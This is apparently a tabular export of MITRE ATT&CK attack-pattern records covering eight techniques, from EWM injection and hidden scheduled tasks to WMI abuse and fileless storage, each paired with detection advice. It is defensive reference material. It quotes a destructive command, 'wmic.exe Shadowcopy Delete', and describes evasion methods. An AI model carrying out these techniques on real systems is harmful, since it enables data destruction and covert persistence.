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attack-pattern | attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T17:18:32.126000" | "2020-11-10T18:29:31.004000" | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/011"
},
{
"description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft Window Classes",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
},
{
"description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft GetWindowLong function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
},
{
"description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft SetWindowLong function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"description": "MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "MalwareTech Power Loader Aug 2013",
"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
},
{
"description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
},
{
"description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft SendNotifyMessage function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-11-27T14:58:00.429000" | "2023-11-15T14:33:53.354000" | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1053.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/005"
},
{
"description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
"external_id": null,
"source_name": "ProofPoint Serpent",
"url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
},
{
"description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.",
"external_id": null,
"source_name": "Defending Against Scheduled Task Attacks in Windows Environments",
"url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"
},
{
"description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "Twitter Leoloobeek Scheduled Task",
"url": "https://twitter.com/leoloobeek/status/939248813465853953"
},
{
"description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.",
"external_id": null,
"source_name": "Tarrask scheduled task",
"url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"
},
{
"description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
"external_id": null,
"source_name": "Microsoft Scheduled Task Events Win10",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
},
{
"description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "TechNet Scheduled Task Events",
"url": "https://technet.microsoft.com/library/dd315590.aspx"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "TechNet Forum Scheduled Task Operational Setting",
"url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
},
{
"description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.",
"external_id": null,
"source_name": "SigmaHQ",
"url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.5 |
attack-pattern | attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-30T21:18:41.930000" | "2022-10-20T19:56:18.579000" | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.
To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)
Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1205.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1205/002"
},
{
"description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "exatrack bpf filters passive backdoors",
"url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
},
{
"description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "crowdstrike bpf socket filters",
"url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"
},
{
"description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.",
"external_id": null,
"source_name": "Leonardo Turla Penquin May 2020",
"url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
},
{
"description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "haking9 libpcap network sniffing",
"url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T21:01:25.428000" | "2023-09-15T19:02:53.995000" | Archive via Utility | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems.
On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration.
Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1560.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/001"
},
{
"description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "WinRAR Homepage",
"url": "https://www.rarlab.com/"
},
{
"description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "WinZip Homepage",
"url": "https://www.winzip.com/win/en/"
},
{
"description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "7zip Homepage",
"url": "https://www.7-zip.org/"
},
{
"description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
"external_id": null,
"source_name": "diantz.exe_lolbas",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
},
{
"description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
"external_id": null,
"source_name": "Wikipedia File Header Signatures",
"url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.3 |
attack-pattern | attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:28:44.950000" | "2023-03-30T21:01:46.879000" | VNC | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)
VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)
Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1021.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/005"
},
{
"description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "The Remote Framebuffer Protocol",
"url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
},
{
"description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
"external_id": null,
"source_name": "MacOS VNC software for Remote Desktop",
"url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
},
{
"description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "VNC Authentication",
"url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
},
{
"description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
"external_id": null,
"source_name": "Hijacking VNC",
"url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
},
{
"description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "macOS root VNC login without authentication",
"url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
},
{
"description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "VNC Vulnerabilities",
"url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
},
{
"description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Offensive Security VNC Authentication Check",
"url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
},
{
"description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Attacking VNC Servers PentestLab",
"url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
},
{
"description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Havana authentication bug",
"url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
},
{
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.",
"external_id": null,
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
},
{
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"external_id": null,
"source_name": "Gnome Remote Desktop grd-settings",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
},
{
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"external_id": null,
"source_name": "Gnome Remote Desktop gschema",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
On macOS systems <code>log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:44.329000" | "2024-04-11T18:13:25.130000" | Windows Management Instrumentation | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.
The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)
**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1047",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1047"
},
{
"description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
"external_id": null,
"source_name": "FireEye WMI 2015",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
},
{
"description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
"external_id": null,
"source_name": "Mandiant WMI",
"url": "https://www.mandiant.com/resources/reports"
},
{
"description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 6",
"url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
},
{
"description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 1-3",
"url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
},
{
"description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 7,8",
"url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.5 |
attack-pattern | attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:25.060000" | "2023-03-30T21:01:39.967000" | Screen Capture | Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1113",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1113"
},
{
"description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
"external_id": null,
"source_name": "CopyFromScreen .NET",
"url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
},
{
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Antiquated Mac Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-23T19:55:25.546000" | "2023-05-04T18:06:40.829000" | Fileless Storage | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)
Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.
Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.
Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/011"
},
{
"description": "Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023.",
"external_id": null,
"source_name": "SecureList Fileless",
"url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"
},
{
"description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
"external_id": null,
"source_name": "Microsoft Fileless",
"url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
